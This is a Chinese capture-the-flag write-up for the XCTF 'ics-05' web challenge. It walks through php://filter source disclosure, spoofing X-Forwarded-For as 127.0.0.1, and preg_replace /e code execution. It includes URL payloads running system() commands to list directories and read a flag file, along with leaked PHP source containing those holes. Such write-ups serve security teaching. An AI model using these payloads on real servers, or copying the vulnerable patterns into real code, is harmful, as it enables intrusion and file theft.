攻防世界-ics-05题

2023-10-31

php伪协议

常用方式:

?file=php://filter/read=convert.base64-encode/resource=index.php

用来查看index.php的源码。

题目分析:

进入后,点击设备维护中心(只有这一个可以点)

image-20211122195711034

查看源代码,可以看见存在一个参数为page,就在“云平台设备维护中心”:

image-20211122195845237

点击该处即可发现自己发现了新世界:

image-20211122195943186

首先判断是否存在文件包含漏洞:

/index.php?page={{1+1}}

发现界面没有显示,则不存在文件包含漏洞,但是更改page的值,发现存在回显,则可以尝试利用php伪协议:

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

image-20211122201628508

即可得到经过base64编码的网页源代码,进行base64解码后查看:

部分代码为:

<?php

$page = $_GET[page];

if (isset($page)) {
	if (ctype_alnum($page)) {
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />
}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
}}

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

isset() 函数用于检测变量是否已设置并且非 NULL。

**ctype_alnum()**函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否包含字母数字字符。

即说明输入的page必须不为空,且包含字母和数字。

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

说明要想执行else,则输入的page中不能存在input、ta:text、text这些值。

继续审查代码,发现该网页还有另外一种登录方式,既可以通过本地ip登录,只需要把本地ip伪造成127.0.0.1即可。

image-20211122204455610

成功使用本地访问。

preg_replace函数漏洞:

>>> mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )

>>> 如果pattern参数的结尾包含了/e修正符的话,如果replacement构成合法的代码的话便会执行

则构造payload查看当前工作路径:

/index.php?pat=/heihei/e&rep=system(%22pwd%22)&sub=heihei

image-20211122210402642

列出当前路径下所有文件:

/index.php?pat=/heihei/e&rep=system("ls /var/www/html ")&sub=heihei

image-20211122210545582

/index.php?pat=/heihei/e&rep=system("ls /var/www/html/s3chahahaDir ")&sub=heihei

image-20211122210730889

/index.php?pat=/heihei/e&rep=system("ls /var/www/html/s3chahahaDir/flag")&sub=heihei

image-20211122211005277

/index.php?pat=/heihei/e&rep=system("cat /var/www/html/s3chahahaDir/flag/flag.php")&sub=heihei

image-20211122211532633

发现没有输出,查看源代码:

image-20211122211627207

成功找到flag!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

攻防世界-ics-05题 的相关文章

  • Woocommerce 获取购物车页面上的特定属性值

    我正在尝试在 woocommerce 购物车页面中获取特定属性值 我在表格中制作了自定义列 如下所示 td class product color td
  • 添加发票时 QuickBooks IPP v3 出现错误 3200

    我已经在生产中使用 QuickBooks PHP DevKit 一段时间了 没有出现任何问题 然而 最近我从我的程序中收到以下错误create invoiceajax脚本当我吐出来的时候 if resp InvoiceService gt
  • 将多个文件上传到服务器并

    我的第一篇文章所以要温柔 我尝试过搜索此内容 并且有很多类似的帖子 但我似乎找不到任何与我的问题完全相似的内容 而且我已经在这个问题上花了几个小时了 我正在用 PHP 5 3 和 MySQL 构建一个系统 部分功能是要求用户根据之前的一些选
  • 如何将 pChart 创建的图像保存到文件中?

    我正在使用以下内容 chartImage gt autoOutput statistics image png 问题是这段代码将图像输出到浏览器 如果它将图像保存到具有我指定的目录和名称的文件中 我会更喜欢它 我该怎么做呢 我正在查看 pC
  • 清理货币字符串的快速方法[重复]

    这个问题在这里已经有答案了 可能的重复 PHP 取消货币格式 https stackoverflow com questions 5139793 php unformat money 如何去掉所有不是数字或点的东西 替换 with 使用轻正
  • PHP 使用字符串作为运算符

    假设我有一根绳子 char char 我还有两个变量 a 和 b 分别等于 4 和 5 我如何得到结果 a char b ie 4 5 谢谢 您可以使用eval 正如 konforce所建议的 但是最安全的路线是这样的 left int a
  • 获取URL查询字符串参数

    从格式如下的 URL 查询字符串获取参数的 所需代码较少 的方法是什么 www mysite com category subcategory myqueryhash 输出应该是 myqueryhash 我知道这种方法 www mysite
  • SELECT、SELECT COUNT 和交叉引用表是否可以仅通过一个查询来处理?

    我有一个显示项目列表的页面 每个项目都会显示从 mysqli 数据库检索到的以下数据 Title Subtitle 描述 零件编号 x 中的 1 与该项目相关的照片总数 从项目中随机选择的照片 标签列表 使用分页系统每页显示 6 个项目 由
  • php 是否有内置的 base32 值转换?

    我知道我可以使用 number format 但是有没有办法表示 base32 数字 例如 十六进制可以用0x 来表示 八进制可以用前面的0来表示 php中有什么可以表示base32数字的吗 使用内置函数base convert 例如 To
  • 在 Laravel 上将百万行数据从一个数据库复制到另一个数据库

    使用 Laravel Eloquent 我从旧 Mysql 数据库的一张表中复制 700 万行数据 并将这些行放在新 Mysql 数据库的不同表中 问题是 执行此操作花费了几乎一天的时间 并且我需要对近 80M 行重新执行此操作 我一次使用
  • 如何在特定视图上禁用 yii-debug-toolbar?

    我怎样才能禁用yii debug toolbar在特定视图上 特别是在部分渲染视图上 这可能吗 p s Yii debug toolbar不幸的是 它不作为下面的标签存在 将其放入您的布局或视图文件中 if class exists yii
  • 如何从继承的方法中获取派生类的路径?

    如何从继承的方法中获取当前类的路径 我有以下内容 and
  • 我在 php 中执行的这个 include 语句有什么问题吗? [关闭]

    Closed 这个问题需要调试细节 help minimal reproducible example 目前不接受答案 我希望这篇文章发布在我的网站上 但它给出了错误 解析错误 语法错误 第 1 行 opt lampp htdocs whi
  • 将大数字转换为字母(然后再转换回来)

    是否有一个术语来描述将大数字存储为字母的想法 例如 假设我有 相对较小的 数字 138201162401719 并且我想将字符数缩小到尽可能少的字符数 我知道这无助于节省磁盘空间 英文字母表中有 26 个字母 但我将它们算作 25 个 因为
  • 从自定义设置会话文件夹中删除旧会话文件?

    使用 PHP 如果我设置自定义会话文件夹来存储会话文件 我必须做什么才能确保旧会话文件最终被删除 有没有办法让 Apache 或 PHP 为我处理这个问题 或者我需要设置一些东西来自己清理这个文件夹 非常感谢有关此主题的任何信息 我目前正在
  • 限制检索的行数 MySql、Laravel

    问题 我的问题是使用 Mysql 或 Laravel 通过查询返回的行数是否有限制 首先 我使用 Laravel 5 2 我试图从日志表中检索数据 该表最近已超过 10k 行 现在从那时起 或大约那个时候 用于检索数据的常用 Laravel
  • 在 CGI 模式下运行时如何覆盖 PHP 配置

    有一些教程告诉我如何在 CGI 模式下运行时覆盖 PHP 配置 但我仍然很困惑 因为很多人都认为服务器运行在 Linux 上 虽然我需要这样做also在 Windows 上 我的主机确实使用 Linux 但我的本地开发计算机使用 Windo
  • PHP ArrayAccess 设置多维

    EDIT 我意识到文本量可能令人生畏 这个问题的本质是 如何以可以设置多维值的方式实现 ArrayAccess 我知道这个问题已经被讨论过here https stackoverflow com questions 2881431 arra
  • Amazon Linux 上的 Nginx + php-fpm = 在信号 11 上退出

    亚马逊 Linux 最新 PHP 5 4 19 cli 构建时间 2013 年 9 月 3 日 23 19 23 nginx版本 nginx 1 2 9 安装 PHP FPM PHP 5 4 19 fpm fcgi 构建时间 2013 年
  • json支持阿拉伯字符吗?

    我想问一个简单的问题 json 是否支持阿拉伯字符 我的意思是当我搜索类似以下内容时 values database gt get by name echo json encode array returnedFromValue gt va

随机推荐